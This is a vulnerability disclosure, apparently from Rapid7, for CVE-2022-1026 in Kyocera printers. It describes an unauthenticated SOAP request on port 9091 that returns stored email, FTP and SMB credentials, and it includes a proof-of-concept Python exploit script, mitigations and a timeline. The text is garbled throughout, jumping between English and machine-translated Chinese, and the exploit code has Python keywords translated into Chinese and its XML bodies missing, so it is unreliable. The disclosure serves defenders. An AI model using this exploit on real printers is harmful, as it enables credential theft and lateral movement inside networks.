Last updated at Tue, 29 Mar 2022 20:35:32 GMT

Rapid7的研究人员亚伦赫恩登发现,京瓷几款运行易受攻击的Net View版本的多功能打印机无意中暴露了敏感的用户信息, 包括用户名和密码, through an insufficiently protected address book export function. This vulnerability is an instance of cwe - 522: Insufficiently Protected Credentials, and has an estimated base CVSS 3.1分 8.6, 假定公开的凭据用于对其他端点进行身份验证, such as external FTP and SMB servers.

产品描述

Many Kyocera multifunction printers (MFPs) can be administered using 网查看器. Two such supported and tested models of MFPs are the ECOSYS M2640idwTASKalfa 406词. 这些打印机可以在世界各地的家庭办公室和企业环境中经常找到.

Credit

This issue, CVE-2022-1026, was discovered by security researcher 亚伦赫恩登 的Rapid7. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

剥削

京瓷在端口9091/TCP上公开了一个SOAP API,用于通过网查看器胖客户端应用程序远程管理打印机. While the API supports authentication, 和 thick client performs this authentication, 同时捕获SOAP请求, it was observed that the specific request to extract an address book, ' POST /ws/km-wsdl/setting/address_book '不需要提交经过身份验证的会话. 那些通讯录, 反过来, 包含已存储的电子邮件地址, 用户名, 和密码, 哪些通常用于在外部服务上存储扫描文档或通过电子邮件发送给用户.

开发细节

In order to exploit the vulnerability, 攻击者只需要在可以到达端口9091/TCP的MFP侦听SOAP服务的网络上. 下面的屏幕截图描述了向该服务提交未经身份验证的SOAP请求, `POST /ws/km-wsdl/setting/address_book` with the described XML.

这指示打印机准备一个要下载的地址簿对象,其中包含地址簿中配置的所有敏感数据. The printer will respond with an address book enumeration object number, 在这个例子中是' 5 ':

Once that object number is received, an attacker can populate the “” value with that number in a SOAP request, wsa:Action get_personal_address_list, 使用相同的POST端点, 如下所示.

这将返回包含所有配置的电子邮件地址的打印机地址簿, FTP凭证, 和网络SMB文件共享凭证存储,供用户扫描到网络共享, 在相当可读的XML:

最后,凭据可以从提供的login_password字段中获取:

利用概念证明

A proof-of-concept (PoC) Python exploit is shown below. 注意时间.Sleep(5)调用,它允许打印机时间首先生成地址簿.

PoC Python代码:

"""
京瓷打印机漏洞
提取存储在打印机地址簿中的敏感数据,未经身份验证,包括:
    *电子邮件地址
    *SMB file share credentials used to write scan jobs to a network fileshare
    * FTP凭证
 
Author: 亚伦赫恩登, @ac3lives (Rapid7)
日期:11/12/2021
测试版本: 
    * ECOSYS M2640idw
    * TASKalfa 406词
    * 
 
Usage: 
python3 getKyoceraCreds.py printerip
"""
 
进口的要求
进口xmltodict
进口警告
导入系统
导入的时间
警告.filter警告(“忽略”)
 
url = "http://{}:9091/ws/km-wsdl/setting/address_book".格式(sys.argv [1])
headers = {'content-type': 'application/soap+xml'}
提交一个未经身份验证的请求,告诉打印机需要创建一个新的地址簿对象
body = """http://www.京瓷mita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration25"""
 
响应=请求.post(url,data=body,headers=headers, verify=False)
str响应 = response.content.解码(“utf - 8”)
#打印(str响应)
 
 
Parsed = xmltodict.解析(str响应)
SOAP请求返回带有对象ID的XML,作为一个整数存储在kmaddrbook:enumeration中. We need this object ID to request the data from the printer.
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumeration响应']['kmaddrbook:enumeration']
 
body = """http://www.京瓷mita.com/ws/km-wsdl/setting/address_book/get_personal_address_list{}""".格式(getNumber)
 
print("Obtained address book object: {}. 等待书的填充”.格式(getNumber))
time.睡眠(5)
print("Submitting request to retrieve the address book object...")
 
 
响应=请求.post(url,data=body,headers=headers, verify=False)
str响应 = response.content.解码(“utf - 8”)
#无线电侦察(str响应)
 
Parsed = xmltodict.解析(str响应)
print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
 
打印("\n\未获得的地址簿. 查看上面的响应,查看对象(如'login_password'、'login_name')中的凭据。

Impact

涉及此漏洞的最可能的攻击场景是攻击者, who is already inside the LAN perimeter, 利用它们直接与受影响的打印机通信的能力来了解存储SMB和FTP文件服务器的用户名和密码. 在SMB凭证的情况下, 然后,这些可能会被用来在目标网络的Windows域建立一个存在.

Depending on how those external services are administered, 攻击者还可以收集来自目标打印机的先前(和将来)打印/扫描作业, 但这种脆弱性的主要价值在于网络内部的横向移动. 请注意,打印机凭据本身没有风险(除非密码被重用), 当然), 但是,通常期望打印机存储扫描文档的服务凭据会通过此漏洞暴露.

修复

首先也是最重要的, 在任何情况下都不能通过互联网直接联系到mfp. While this is true for most LAN-centric technologies, this is especially true for printers and scanners, which are popular targets for opportunistic attackers. These devices tend to only support weak authentication mechanisms, 即使在最好的情况下, 而且很少及时更新固件以解决安全问题. So, as long as only trusted users can reach these networked printers, 攻击的机会仅限于已经设法建立本地网络存在的内部人员和攻击者.

在此披露时,没有补丁或更新固件可用于受影响的设备. The version information displayed on a vulnerable ECOSYS M2640idw 设备如下图所示, 我们相信这个软件的正确版本号是列出的中间版本, "2S0_1000.005.0012S5_2000.002.505."

鉴于缺少补丁, 京瓷客户建议禁用在受影响的mfp的9091/TCP端口上运行的SOAP接口. 关于如何禁用此服务的详细信息可以在与特定MFP模型相关的文档中找到. If SOAP access is required over the network for normal operation, users should ensure that address books do not contain sensitive, 不变的密码.

一种可能使此漏洞没有意义的配置是只允许public, 匿名FTP或SMB写访问(但不是读访问)扫描文档存储, 另一个过程是通过网络将这些文件安全地转移到最终目的地. The exposure of email addresses would remain, but this is of considerably less value to most attackers.

披露时间表

  • 2021年11月: Issue identified by 亚伦赫恩登 的Rapid7
  • 2021年11月16日星期二: 联系ed Kyocera's primary support and other-support
  • 2021年11月19日星期五: Opened case number: CS211119002 with Kyocera support
  • 2021年11月22日星期一: 向供应商发布详细信息
  • 2022年1月7日星期五: Opened JPCERT/CC case number JVNVU#96890480
    • Discovered a more reliable security-specific contact at Kyocera
  • 2022年1月19日星期三: Extended disclosure deadline to mid-March, 2022
  • Jan-Mar 2022: Communication about workarounds and other mitigations
  • 2022年3月18日星期五: 保留cve - 2022 - 1026
  • 2022年3月29日星期二: 公开披露(本文件)

更多阅读:

不要错过任何一个博客

Get the latest stories, expertise, and news about security today.